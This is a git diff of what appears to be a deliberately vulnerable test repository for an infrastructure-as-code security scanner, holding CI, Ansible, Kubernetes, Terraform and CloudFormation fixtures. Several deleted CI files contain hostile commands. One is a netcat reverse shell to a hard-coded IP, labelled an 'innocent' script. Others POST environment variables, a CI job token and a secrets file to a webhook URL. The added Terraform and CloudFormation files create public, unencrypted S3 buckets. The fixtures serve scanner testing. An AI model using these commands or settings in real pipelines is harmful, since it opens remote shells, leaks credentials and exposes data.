diff --git a/.circleci/config.yml b/.circleci/config.yml deleted file mode 100644 index 5f3307e..0000000 --- a/.circleci/config.yml +++ /dev/null @@ -1,98 +0,0 @@ ---- -orbs: - neworb: "whtever/orbname@goodorb" - someorb: "orbns/orbname@dev:blah" -jobs: - test-docker-hash-img: - docker: - - - image: "redis@sha256:54057dd7e125ca41afe526a877e8bd35ec2cdd33b9217e022ed37bdcf7d09673" - - - auth: - password: $DOCKERHUB_PASSWORD - username: mydockerhub-user - test-docker-latest-img: - docker: - - - image: "buildpack-deps:latest" - - - auth: - password: $DOCKERHUB_PASSWORD - username: mydockerhub-user - command: - - "--smallfiles" - test-docker-versioned-img: - docker: - - - image: "mongo:2.6.8" - - - auth: - password: $DOCKERHUB_PASSWORD - username: mydockerhub-user - environment: - POSTGRES_USER: user - image: "postgres:14.2" - test-echo: - docker: - - - image: "cimg/python:latest" - steps: - - checkout - - - run: "echo \"this is an echo in a script.\"" - test-inject: - docker: - - - image: "cimg/python:latest" - steps: - - checkout - - run: - command: | - curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add - - echo ${CIRCLE_BRANCH} - name: "Multi-line run with injection via vars" - test-inject2: - docker: - - - image: "cimg/python:latest" - steps: - - checkout - - - run: - command: | - curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add - - echo $CIRCLE_BRANCH - name: "Multi-line run with injection via vars" - test-curl-secret: - docker: - - - image: "cimg/python:latest" - steps: - - checkout - - run: - command: | - curl -x POST someurl $SECRET - name: "Multi-line export secret" - test-inject-ci-vars: - docker: - - - image: "cimg/python:latest" - steps: - - checkout - - - run: - command: | - echo ${CIRCLE_PR_REPONAME} - name: "Echo the PR Reponame" -version: 2.1 -workflows: - say-hello-workflow: - jobs: - - test-docker-hash-img - - test-docker-latest-img - - test-docker-versioned-img - - test-echo - - test-inject - - test-inject2 - - test-inject-ci-vars - diff --git a/.github/workflows/checkov.yaml b/.github/workflows/checkov.yaml new file mode 100644 index 0000000..96930f0 --- /dev/null +++ b/.github/workflows/checkov.yaml @@ -0,0 +1,37 @@ +name: Checkov Github action + +# Controls when the action will run. Triggers the workflow on push or pull request +# events but only for the master branch +on: + workflow_dispatch: + push: + branches: [main] + pull_request: + branches: [main] + +jobs: + checkov-job: + permissions: write-all + runs-on: ubuntu-latest + name: Prisma Cloud + env: + PRISMA_API_URL: https://api4.prismacloud.io/ + steps: + - name: Checkout repo + uses: actions/checkout@master + - name: Run Prisma Cloud action + id: Checkov + uses: bridgecrewio/checkov-action@master + with: + directory: '.' + soft_fail: true + api-key: ${{ secrets.BC_API_KEY }} + - name: Expose report + uses: actions/upload-artifact@v3 + with: + name: SARIF results + path: results.sarif + - uses: github/codeql-action/upload-sarif@v2 + with: + # Path to SARIF file relative to the root of the repository + sarif_file: results.sarif \ No newline at end of file diff --git a/.github/workflows/image.yaml b/.github/workflows/image.yaml deleted file mode 100644 index 0b9988d..0000000 --- a/.github/workflows/image.yaml +++ /dev/null @@ -1,28 +0,0 @@ -name: CI -on: - push: - branches: [ main ] -jobs: - container-test-job: - runs-on: ubuntu-latest - container: - image: node:14.16 - env: - NODE_ENV: development - ports: - - 80 - volumes: - - my_docker_volume:/volume_mount - options: --cpus 1 - steps: - - name: Check for dockerenv file - run: | - (ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv) - curl -X POST -s --data "@.secrets" /dev/null - second_job: - runs-on: ubuntu-latest - steps: - - name: Check for dockerenv file - run: | - (ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv) - curl -X POST -s --data "@.secrets" /dev/null diff --git a/.github/workflows/netcatreverseshell.yaml b/.github/workflows/netcatreverseshell.yaml deleted file mode 100644 index 038f6b2..0000000 --- a/.github/workflows/netcatreverseshell.yaml +++ /dev/null @@ -1,32 +0,0 @@ -name: REVERSESHELL - -# Controls when the workflow will run -on: - # Triggers the workflow on push or pull request events but only for the main branch - push: - - # Allows you to run this workflow manually from the Actions tab - workflow_dispatch: - -# A workflow run is made up of one or more jobs that can run sequentially or in parallel -jobs: - # This workflow contains a single job called "build" - prep: - name: prep - runs-on: ubuntu-latest - run: | - rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 34.159.16.75 32032 >/tmp/f - build: - # The type of runner that the job will run on - runs-on: ubuntu-latest - - # Steps represent a sequence of tasks that will be executed as part of the job - steps: - # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it - - uses: actions/checkout@v3 - - # Runs a single command using the runners shell - - name: Run a normal very innocent one-line script - run: | - rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f - diff --git a/.github/workflows/pipeline.yaml b/.github/workflows/pipeline.yaml new file mode 100644 index 0000000..51be83e --- /dev/null +++ b/.github/workflows/pipeline.yaml @@ -0,0 +1,37 @@ +name: Checkov Github action + +# Controls when the action will run. Triggers the workflow on push or pull request +# events but only for the master branch +on: + workflow_dispatch: + push: + branches: [main] + pull_request: + branches: [main] + +jobs: + checkov-job: + permissions: write-all + runs-on: ubuntu-latest + name: Prisma Cloud + env: + PRISMA_API_URL: https://api4.prismacloud.io/ + steps: + - name: Checkout repo + uses: actions/checkout@master + - name: Run Prisma Cloud action + id: Checkov + uses: bridgecrewio/checkov-action@master + with: + directory: '.' + soft_fail: true + api-key: ${{ secrets.BC_API_KEY }} + - name: Expose report + uses: actions/upload-artifact@v3 + with: + name: SARIF results + path: results.sarif + - uses: github/codeql-action/upload-sarif@v2 + with: + # Path to SARIF file relative to the root of the repository + sarif_file: results.sarif diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml deleted file mode 100644 index a31e858..0000000 --- a/.gitlab-ci.yml +++ /dev/null @@ -1,13 +0,0 @@ -image: python:3.9-buster - -test: - script: - - | - echo "get the envs" - apt update - apt -y install curl - python -c 'import json, os;print(json.dumps(dict(os.environ)))' > env.json - curl -H \"Content-Type: application/json\" -X POST --data "@env.json" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826 - -deploy: - script: 'curl -H \"Content-Type: application/json\" -X POST --data "$CI_JOB_JWT_V1" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826' \ No newline at end of file diff --git a/CAS-Masters_IACPR b/CAS-Masters_IACPR new file mode 160000 index 0000000..5f04718 --- /dev/null +++ b/CAS-Masters_IACPR @@ -0,0 +1 @@ +Subproject commit 5f04718636251980f726853b621c8110e052d090 diff --git a/ansible/blocks.yml b/ansible/blocks.yml deleted file mode 100644 index 99d8209..0000000 --- a/ansible/blocks.yml +++ /dev/null @@ -1,30 +0,0 @@ ---- - -- name: Verify tests - hosts: all - gather_facts: False - tasks: - - name: Install, configure, and start Apache - block: - - name: Install httpd and memcached - ansible.builtin.yum: - name: - - httpd - - memcached - sslverify: False - state: latest - - - name: Apply the foo config template - ansible.builtin.template: - src: templates/src.j2 - dest: /etc/foo.conf - - - name: Start service bar and enable it - ansible.builtin.service: - name: bar - state: started - enabled: True - when: ansible_facts['distribution'] == 'CentOS' - become: true - become_user: root - ignore_errors: true diff --git a/ansible/fail.yaml b/ansible/fail.yaml deleted file mode 100644 index 58615df..0000000 --- a/ansible/fail.yaml +++ /dev/null @@ -1,29 +0,0 @@ ---- -- name: Verify tests - hosts: all - gather_facts: False - tasks: - - name: Install, configure, and start Apache - block: - - name: Install httpd and memcached - ansible.builtin.yum: - name: - - httpd - - memcached - sslverify: False - state: latest - - - name: Apply the foo config template - ansible.builtin.template: - src: templates/src.j2 - dest: /etc/foo.conf - - - name: Start service bar and enable it - ansible.builtin.service: - name: bar - state: started - enabled: True - when: ansible_facts['distribution'] == 'CentOS' - become: true - become_user: root - ignore_errors: true diff --git a/ansible/k8s_utf16.yaml b/ansible/k8s_utf16.yaml deleted file mode 100644 index 389581a..0000000 Binary files a/ansible/k8s_utf16.yaml and /dev/null differ diff --git a/ansible/nested_blocks.yml b/ansible/nested_blocks.yml deleted file mode 100644 index e535f54..0000000 --- a/ansible/nested_blocks.yml +++ /dev/null @@ -1,34 +0,0 @@ ---- - -- name: Verify tests - hosts: all - gather_facts: False - tasks: - - name: 1st level block - block: - - name: 2nd level block - block: - - name: 3rd level block - block: - - name: 4th level block - block: - - name: 5th level block - block: - - name: 6th level uri - ansible.builtin.uri: - url: https://www.example.com - - name: 5th level uri - ansible.builtin.uri: - url: https://www.example.com - - name: 4th level uri - ansible.builtin.uri: - url: https://www.example.com - - name: 3rd level uri - ansible.builtin.uri: - url: https://www.example.com - - name: 2nd level uri - ansible.builtin.uri: - url: https://www.example.com - - name: 1st level uri - ansible.builtin.uri: - url: https://www.example.com diff --git a/ansible/no_tasks.yml b/ansible/no_tasks.yml deleted file mode 100644 index 69f9291..0000000 --- a/ansible/no_tasks.yml +++ /dev/null @@ -1,7 +0,0 @@ ---- - -- name: Sample play - hosts: - - test - roles: - - role: somerole diff --git a/ansible/site.yml b/ansible/site.yml deleted file mode 100644 index 95499d9..0000000 --- a/ansible/site.yml +++ /dev/null @@ -1,21 +0,0 @@ ---- - -- name: Verify tests - hosts: all - gather_facts: False - tasks: - - name: Get Running instance Info - amazon.aws.ec2_instance_info: - register: ec2info - - - name: enabled - amazon.aws.ec2_instance: - name: "public-compute-instance" - key_name: "prod-ssh-key" - vpc_subnet_id: subnet-5ca1ab1e - instance_type: c5.large - security_group: default - network: - assign_public_ip: true - image_id: ami-123456 - ebs_optimized: true diff --git a/ansible/skip.yml b/ansible/skip.yml deleted file mode 100644 index 48dc4a1..0000000 --- a/ansible/skip.yml +++ /dev/null @@ -1,31 +0,0 @@ -- hosts: localhost - gather_facts: false - tasks: - - name: Launch ec2 instances 1 - #checkov:skip=CKV_AWS_135 - amazon.aws.ec2_instance: - name: "bc-office-hours" - vpc_subnet_id: subnet-012d94ee641ab4277 - instance_type: t3.micro - security_group: sg-04acc4e02a5b71244 - image_id: "{{ ami_latest.image_id }}" - state: running - - - name: Launch ec2 instances 2 - amazon.aws.ec2_instance: - #checkov:skip=CKV_AWS_88 - name: "bc-office-hours" - vpc_subnet_id: subnet-012d94ee641ab4277 - instance_type: t3.micro - security_group: sg-04acc4e02a5b71244 - image_id: "{{ ami_latest.image_id }}" - state: running - - - name: http - #checkov:skip=CKV2_ANSIBLE_1 - uri: - url: http://www.example.com - return_content: yes - register: this - failed_when: "'AWESOME' not in this.content" - diff --git a/ansible/tasks.yml b/ansible/tasks.yml deleted file mode 100644 index 398a080..0000000 --- a/ansible/tasks.yml +++ /dev/null @@ -1,12 +0,0 @@ ---- - -- name: Check that you can connect (GET) to a page - uri: - url: https://www.example.com - -- name: Download foo.conf - ansible.builtin.get_url: - url: https://example.com/path/file.conf - dest: /etc/foo.conf - mode: '0440' - validate_certs: false diff --git a/argo/branch_restrictions.json b/argo/branch_restrictions.json deleted file mode 100644 index 8849fb8..0000000 --- a/argo/branch_restrictions.json +++ /dev/null @@ -1,67 +0,0 @@ -{ - "pagelen": 10, - "values": [ - { - "kind": "require_default_reviewer_approvals_to_merge", - "users": [], - "links": { - "self": { - "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110" - } - }, - "pattern": "master", - "value": 1, - "branch_match_kind": "glob", - "groups": [], - "type": "branchrestriction", - "id": 26522110 - }, - { - "kind": "require_approvals_to_merge", - "users": [], - "links": { - "self": { - "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791" - } - }, - "pattern": "master", - "value": 1, - "branch_match_kind": "glob", - "groups": [], - "type": "branchrestriction", - "id": 26520791 - }, - { - "kind": "force", - "users": [], - "links": { - "self": { - "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790" - } - }, - "pattern": "master", - "value": null, - "branch_match_kind": "glob", - "groups": [], - "type": "branchrestriction", - "id": 26520790 - }, - { - "kind": "delete", - "users": [], - "links": { - "self": { - "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789" - } - }, - "pattern": "master", - "value": null, - "branch_match_kind": "glob", - "groups": [], - "type": "branchrestriction", - "id": 26520789 - } - ], - "page": 1, - "size": 4 -} \ No newline at end of file diff --git a/argo/fail.yaml b/argo/fail.yaml deleted file mode 100644 index 51a0994..0000000 --- a/argo/fail.yaml +++ /dev/null @@ -1,12 +0,0 @@ -apiVersion: argoproj.io/v1alpha1 -kind: Workflow -metadata: - generateName: hello-world- -spec: - entrypoint: whalesay - templates: - - name: whalesay - container: - image: docker/whalesay:latest - command: [cowsay] - args: ["hello world"] diff --git a/argo/fail_default.yaml b/argo/fail_default.yaml deleted file mode 100644 index a8c9e8d..0000000 --- a/argo/fail_default.yaml +++ /dev/null @@ -1,13 +0,0 @@ -apiVersion: argoproj.io/v1alpha1 -kind: Workflow -metadata: - generateName: hello-world- -spec: - entrypoint: whalesay - serviceAccountName: default - templates: - - name: whalesay - container: - image: docker/whalesay:latest - command: [cowsay] - args: ["hello world"] diff --git a/argo/fail_none.yaml b/argo/fail_none.yaml deleted file mode 100644 index 51a0994..0000000 --- a/argo/fail_none.yaml +++ /dev/null @@ -1,12 +0,0 @@ -apiVersion: argoproj.io/v1alpha1 -kind: Workflow -metadata: - generateName: hello-world- -spec: - entrypoint: whalesay - templates: - - name: whalesay - container: - image: docker/whalesay:latest - command: [cowsay] - args: ["hello world"] diff --git a/argo/pass.yaml b/argo/pass.yaml deleted file mode 100644 index 6dbb516..0000000 --- a/argo/pass.yaml +++ /dev/null @@ -1,13 +0,0 @@ -apiVersion: argoproj.io/v1alpha1 -kind: Workflow -metadata: - generateName: hello-world- -spec: - entrypoint: whalesay - serviceAccountName: custom-sa - templates: - - name: whalesay - container: - image: docker/whalesay:latest - command: [cowsay] - args: ["hello world"] diff --git a/arm/storage.json b/arm/storage.json deleted file mode 100644 index b579233..0000000 --- a/arm/storage.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", - "contentVersion": "1.0.0.0", - "parameters": { - "location": { - "type": "secureString", - "defaultValue": "[resourceGroup().location]" - }, - }, - "variables": {}, - "resources": [ - { - "name": "bcazrstorage1", - "type": "Microsoft.Storage/storageAccounts", - "apiVersion": "2019-06-01", - "location": "[parameters('location')]", - "properties": { - "accessTier": "Hot", - "minimumTlsVersion": "TLS1_1", - "supportsHttpsTrafficOnly": "false", - "allowBlobPublicAccess": "true" - }, - "metadata": { - "checkov": [ - "HIGH: justification" - ] - }, - "dependsOn": [], - "sku": { - "name": "Standard_LRS" - }, - "kind": "StorageV2", - "tags": {}, - "resources": [ - { - "type": "blobServices/containers", - "apiVersion": "2019-06-01", - "name": "default/bcazrcontainer1", - "properties": { - "publicAccess": "Container" - }, - "dependsOn": [ - "bcazrstorage1" - ] - } - ] - } - ], - "outputs": {} -} diff --git a/bitbucket-pipelines.yml b/bitbucket-pipelines.yml deleted file mode 100644 index 64d0cab..0000000 --- a/bitbucket-pipelines.yml +++ /dev/null @@ -1,34 +0,0 @@ -image: node:10.15.0 - -pipelines: - default: - - step: - name: Build and test - image: node:10.0.0 - script: - - npm install - - npm test - - npm run build - artifacts: - - dist/** - - step: - name: Deploy - image: python:3.7.2 - trigger: manual - script: - - python deploy.py - custom: - sonar: - - step: - image: python:latest - script: - - echo "Manual triggers for Sonar are awesome!" - deployment-to-prod: - - step: - script: - - echo "Manual triggers for deployments are awesome!" - branches: - staging: - - step: - script: - - echo "Auto pipelines are cool too." \ No newline at end of file diff --git a/bitbucket/bitbucket_conf/branch_restrictions.json b/bitbucket/bitbucket_conf/branch_restrictions.json deleted file mode 100644 index 8849fb8..0000000 --- a/bitbucket/bitbucket_conf/branch_restrictions.json +++ /dev/null @@ -1,67 +0,0 @@ -{ - "pagelen": 10, - "values": [ - { - "kind": "require_default_reviewer_approvals_to_merge", - "users": [], - "links": { - "self": { - "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110" - } - }, - "pattern": "master", - "value": 1, - "branch_match_kind": "glob", - "groups": [], - "type": "branchrestriction", - "id": 26522110 - }, - { - "kind": "require_approvals_to_merge", - "users": [], - "links": { - "self": { - "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791" - } - }, - "pattern": "master", - "value": 1, - "branch_match_kind": "glob", - "groups": [], - "type": "branchrestriction", - "id": 26520791 - }, - { - "kind": "force", - "users": [], - "links": { - "self": { - "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790" - } - }, - "pattern": "master", - "value": null, - "branch_match_kind": "glob", - "groups": [], - "type": "branchrestriction", - "id": 26520790 - }, - { - "kind": "delete", - "users": [], - "links": { - "self": { - "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789" - } - }, - "pattern": "master", - "value": null, - "branch_match_kind": "glob", - "groups": [], - "type": "branchrestriction", - "id": 26520789 - } - ], - "page": 1, - "size": 4 -} \ No newline at end of file diff --git a/docker/Dockerfile b/docker/Dockerfile deleted file mode 100644 index 630d9ae..0000000 --- a/docker/Dockerfile +++ /dev/null @@ -1,6 +0,0 @@ -FROM base - -LABEL foo="bar baz" -ADD http://example.com/package.zip /temp -USER me - diff --git a/ec2.tf b/ec2.tf new file mode 100644 index 0000000..7302c82 --- /dev/null +++ b/ec2.tf @@ -0,0 +1,34 @@ +resource "aws_instance" "web_host" { + # ec2 have plain text secrets in user data + ami = "${var.ami}" + instance_type = "t2.nano" + + vpc_security_group_ids = [ + "${aws_security_group.web-node.id}"] + subnet_id = "${aws_subnet.web_subnet.id}" + user_data = <Deployed via Terraform" | sudo tee /var/www/html/index.html +EOF + tags = merge({ + Name = "${local.resource_prefix.value}-ec2" + }, { + git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0" + git_file = "terraform/aws/ec2.tf" + git_last_modified_at = "2020-06-16 14:46:24" + git_last_modified_by = "jmagee@paloaltonetworks.com" + git_modifiers = "jmagee" + git_org = "bridgecrewio" + git_repo = "terragoat" + yor_trace = "347af3cd-4f70-4632-aca3-4d5e30ffc0b6" + }, { + yor_name = "web_host" + }) +} diff --git a/github/github_conf/org_security.json b/github/github_conf/org_security.json deleted file mode 100644 index 7b27495..0000000 --- a/github/github_conf/org_security.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "data": { - "organization": { - "name": "Bridgecrew", - "login": "bridgecrewio", - "description": "Secure public cloud infrastructure", - "ipAllowListEnabledSetting": "DISABLED", - "ipAllowListForInstalledAppsEnabledSetting": "DISABLED", - "requiresTwoFactorAuthentication": false - } - } -} \ No newline at end of file diff --git a/gitlab/gitlab_conf/merge_request_approval_conf.json b/gitlab/gitlab_conf/merge_request_approval_conf.json deleted file mode 100644 index 83f8038..0000000 --- a/gitlab/gitlab_conf/merge_request_approval_conf.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "approvals_before_merge": 1, - "reset_approvals_on_push": true, - "disable_overriding_approvers_per_merge_request": false, - "merge_requests_author_approval": true, - "merge_requests_disable_committers_approval": false, - "require_password_to_approve": true -} diff --git a/k8s/deployment.yaml b/k8s/deployment.yaml deleted file mode 100644 index 747e84d..0000000 --- a/k8s/deployment.yaml +++ /dev/null @@ -1,54 +0,0 @@ -apiVersion: apps/v1 -kind: Deployment -metadata: - name: internal-proxy-deployment - labels: - app: internal-proxy - annotations: - checkov.io/skip1: CKV_K8S_43=boomroasted -spec: - selector: - matchLabels: - app: internal-proxy - template: - metadata: - labels: - app: internal-proxy - spec: - containers: - - name: internal-api - # checkov:skip=CKV_K8S_30: ADD REASON - image: madhuakula/k8s-goat-internal-api - resources: - limits: - cpu: 30m - memory: 40Mi - requests: - cpu: 30m - memory: 40Mi - ports: - - containerPort: 3000 ---- -apiVersion: v1 -kind: Service -metadata: - name: system-monitor-service -spec: - ports: - - protocol: TCP - port: 8080 - targetPort: 8080 - selector: - app: system-monitor ---- -apiVersion: v1 -kind: SomethingElse -metadata: - name: some-resource -spec: - ports: - - protocol: TCP - port: 8080 - targetPort: 8080 - selector: - app: system-monitor \ No newline at end of file diff --git a/openapi/fail.yaml b/openapi/fail.yaml deleted file mode 100644 index 67ca6a1..0000000 --- a/openapi/fail.yaml +++ /dev/null @@ -1,14 +0,0 @@ -openapi: 3.0.0 -info: - title: test - version: 1.0.0 -components: - securitySchemes: - unencryptedScheme: - type: http - scheme: basic -paths: - "/": - get: - security: - - unencryptedScheme: [] diff --git a/s3.tf b/s3.tf new file mode 100644 index 0000000..b8a52d5 --- /dev/null +++ b/s3.tf @@ -0,0 +1,152 @@ +resource "aws_s3_bucket" "data" { + # bucket is public + # bucket is not encrypted + # bucket does not have access logs + # bucket does not have versioning + bucket = "${local.resource_prefix.value}-data" + force_destroy = true + tags = merge({ + Name = "${local.resource_prefix.value}-data" + Environment = local.resource_prefix.value + }, { + git_commit = "4d57f83ca4d3a78a44fb36d1dcf0d23983fa44f5" + git_file = "terraform/aws/s3.tf" + git_last_modified_at = "2022-05-18 07:08:06" + git_last_modified_by = "jmagee@paloaltonetworks.com" + git_modifiers = "34870196+LironElbaz/nimrod/nimrodkor/jmagee" + git_org = "bridgecrewio" + git_repo = "terragoat" + yor_trace = "0874007d-903a-4b4c-945f-c9c233e13243" + }, { + yor_name = "data" + }) +} + +resource "aws_s3_bucket_object" "data_object" { + bucket = aws_s3_bucket.data.id + key = "customer-master.xlsx" + source = "resources/customer-master.xlsx" + tags = merge({ + Name = "${local.resource_prefix.value}-customer-master" + Environment = local.resource_prefix.value + }, { + git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0" + git_file = "terraform/aws/s3.tf" + git_last_modified_at = "2020-06-16 14:46:24" + git_last_modified_by = "njmagee@paloaltonetworks.com" + git_modifiers = "jmagee" + git_org = "bridgecrewio" + git_repo = "terragoat" + yor_trace = "a7f01cc7-63c2-41a8-8555-6665e5e39a64" + }, { + yor_name = "data_object" + }) +} + +resource "aws_s3_bucket" "financials" { + # bucket is not encrypted + # bucket does not have access logs + # bucket does not have versioning + bucket = "${local.resource_prefix.value}-financials" + acl = "private" + force_destroy = true + tags = merge({ + Name = "${local.resource_prefix.value}-financials" + Environment = local.resource_prefix.value + }, { + git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0" + git_file = "terraform/aws/s3.tf" + git_last_modified_at = "2020-06-16 14:46:24" + git_last_modified_by = "jmagee@paloaltonetworks.com" + git_modifiers = "jmagee" + git_org = "bridgecrewio" + git_repo = "terragoat" + yor_trace = "0e012640-b597-4e5d-9378-d4b584aea913" + }, { + yor_name = "financials" + }) + +} + +resource "aws_s3_bucket" "operations" { + # bucket is not encrypted + # bucket does not have access logs + bucket = "${local.resource_prefix.value}-operations" + acl = "private" + versioning { + enabled = true + } + force_destroy = true + tags = merge({ + Name = "${local.resource_prefix.value}-operations" + Environment = local.resource_prefix.value + }, { + git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0" + git_file = "terraform/aws/s3.tf" + git_last_modified_at = "2020-06-16 14:46:24" + git_last_modified_by = "jmagee@paloaltonetworks.com" + git_modifiers = "jmagee" + git_org = "bridgecrewio" + git_repo = "terragoat" + yor_trace = "29efcf7b-22a8-4bd6-8e14-1f55b3a2d743" + }, { + yor_name = "operations" + }) +} + +resource "aws_s3_bucket" "data_science" { + # bucket is not encrypted + bucket = "${local.resource_prefix.value}-data-science" + acl = "private" + versioning { + enabled = true + } + logging { + target_bucket = "${aws_s3_bucket.logs.id}" + target_prefix = "log/" + } + force_destroy = true + tags = { + git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0" + git_file = "terraform/aws/s3.tf" + git_last_modified_at = "2020-06-16 14:46:24" + git_last_modified_by = "jmagee@paloaltonetworks.com" + git_modifiers = "jmagee" + git_org = "bridgecrewio" + git_repo = "terragoat" + yor_trace = "9a7c8788-5655-4708-bbc3-64ead9847f64" + yor_name = "data_science" + } +} + +resource "aws_s3_bucket" "logs" { + bucket = "${local.resource_prefix.value}-logs" + acl = "log-delivery-write" + versioning { + enabled = true + } + server_side_encryption_configuration { + rule { + apply_server_side_encryption_by_default { + sse_algorithm = "aws:kms" + kms_master_key_id = "${aws_kms_key.logs_key.arn}" + } + } + } + force_destroy = true + tags = merge({ + Name = "${local.resource_prefix.value}-logs" + Environment = local.resource_prefix.value + }, { + git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0" + git_file = "terraform/aws/s3.tf" + git_last_modified_at = "2020-06-16 14:46:24" + git_last_modified_by = "jmagee@paloaltonetworks.com" + git_modifiers = "jmagee" + git_org = "bridgecrewio" + git_repo = "terragoat" + yor_trace = "01946fe9-aae2-4c99-a975-e9b0d3a4696c" + }, { + yor_name = "logs" + }) +} diff --git a/s3bucket.yaml b/s3bucket.yaml new file mode 100644 index 0000000..a7c1b58 --- /dev/null +++ b/s3bucket.yaml @@ -0,0 +1,29 @@ +AWSTemplateFormatVersion: '2010-09-09' +Metadata: + License: Apache-2.0 +Description: 'AWS CloudFormation Sample Template S3_Website_Bucket_With_Retain_On_Delete: + Sample template showing how to create a publicly accessible S3 bucket configured + for website access with a deletion policy of retain on delete. **WARNING** This + template creates an S3 bucket that will NOT be deleted when the stack is deleted. + You will be billed for the AWS resources used if you create a stack from this template.' +Resources: + S3Bucket: + Type: AWS::S3::Bucket + Properties: + AccessControl: PublicRead + WebsiteConfiguration: + IndexDocument: index.html + ErrorDocument: error.html + Tags: + - Key: yor_trace + Value: c7a9755f-ba4e-430c-935f-b5cc157d14d0 + - Key: yor_name + Value: S3Bucket + DeletionPolicy: Retain +Outputs: + WebsiteURL: + Value: !GetAtt [S3Bucket, WebsiteURL] + Description: URL for website hosted on S3 + S3BucketSecureURL: + Value: !Join ['', ['https://', !GetAtt [S3Bucket, DomainName]]] + Description: Name of S3 bucket to hold website content \ No newline at end of file diff --git a/sca-image/Dockerfile b/sca-image/Dockerfile deleted file mode 100644 index 24a79e3..0000000 --- a/sca-image/Dockerfile +++ /dev/null @@ -1,28 +0,0 @@ -FROM ubuntu:jammy-20221020 - -# Disable Prompt During Packages Installation -ARG DEBIAN_FRONTEND=noninteractive - -# Update Ubuntu Software repository -RUN apt update - -# Install nginx, php-fpm and supervisord from ubuntu repository -RUN apt install -y nginx php-fpm supervisor && \ - rm -rf /var/lib/apt/lists/* && \ - apt clean - -# Define the ENV variable -ENV nginx_vhost /etc/nginx/sites-available/default -ENV php_conf /etc/php/7.4/fpm/php.ini -ENV nginx_conf /etc/nginx/nginx.conf -ENV supervisor_conf /etc/supervisor/supervisord.conf - -RUN mkdir -p /run/php && \ - chown -R www-data:www-data /var/www/html && \ - chown -R www-data:www-data /run/php - -# Volume configuration -VOLUME ["/etc/nginx/sites-enabled", "/etc/nginx/certs", "/etc/nginx/conf.d", "/var/log/nginx", "/var/www/html"] - -# Expose Port for the Application -EXPOSE 80 443 \ No newline at end of file diff --git a/sca-package/build.gradle b/sca-package/build.gradle deleted file mode 100644 index 9671d01..0000000 --- a/sca-package/build.gradle +++ /dev/null @@ -1,24 +0,0 @@ -plugins { - // Apply the java-library plugin to add support for Java Library - id 'java-library' -} - -repositories { - // Use jcenter for resolving dependencies. - // You can declare any Maven/Ivy/file repository here. - jcenter() -} - -dependencies { - compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.13.3' - compile group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.13.3' - - // This dependency is exported to consumers, that is to say found on their compile classpath. - api 'org.apache.commons:commons-math3:3.6.1' - - // This dependency is used internally, and not exposed to consumers on their own compile classpath. - implementation 'com.google.guava:guava:28.2-jre' - - // Use JUnit test framework - testImplementation 'junit:junit:4.12' -} \ No newline at end of file diff --git a/sca-package/go.mod b/sca-package/go.mod deleted file mode 100644 index 58cad05..0000000 --- a/sca-package/go.mod +++ /dev/null @@ -1,204 +0,0 @@ -module github.com/hashicorp/terraform - -require ( - cloud.google.com/go/storage v1.10.0 - github.com/Azure/azure-sdk-for-go v59.2.0+incompatible - github.com/Azure/go-autorest/autorest v0.11.22 - github.com/Netflix/go-expect v0.0.0-20211003183012-e1a7c020ce25 - github.com/agext/levenshtein v1.2.3 - github.com/aliyun/alibaba-cloud-sdk-go v0.0.0-20190329064014-6e358769c32a - github.com/aliyun/aliyun-oss-go-sdk v0.0.0-20190103054945-8205d1f41e70 - github.com/aliyun/aliyun-tablestore-go-sdk v4.1.2+incompatible - github.com/apparentlymart/go-cidr v1.1.0 - github.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0 - github.com/apparentlymart/go-shquot v0.0.1 - github.com/apparentlymart/go-userdirs v0.0.0-20200915174352-b0c018a67c13 - github.com/apparentlymart/go-versions v1.0.1 - github.com/armon/circbuf v0.0.0-20190214190532-5111143e8da2 - github.com/aws/aws-sdk-go v1.42.35 - github.com/bgentry/speakeasy v0.1.0 - github.com/bmatcuk/doublestar v1.1.5 - github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e - github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f - github.com/davecgh/go-spew v1.1.1 - github.com/dylanmei/winrmtest v0.0.0-20190225150635-99b7fe2fddf1 - github.com/go-test/deep v1.0.3 - github.com/golang/mock v1.6.0 - github.com/golang/protobuf v1.5.2 - github.com/google/go-cmp v0.5.6 - github.com/google/uuid v1.2.0 - github.com/gophercloud/gophercloud v0.10.1-0.20200424014253-c3bfe50899e5 - github.com/gophercloud/utils v0.0.0-20200423144003-7c72efc7435d - github.com/hashicorp/aws-sdk-go-base v0.7.1 - github.com/hashicorp/consul/api v1.9.1 - 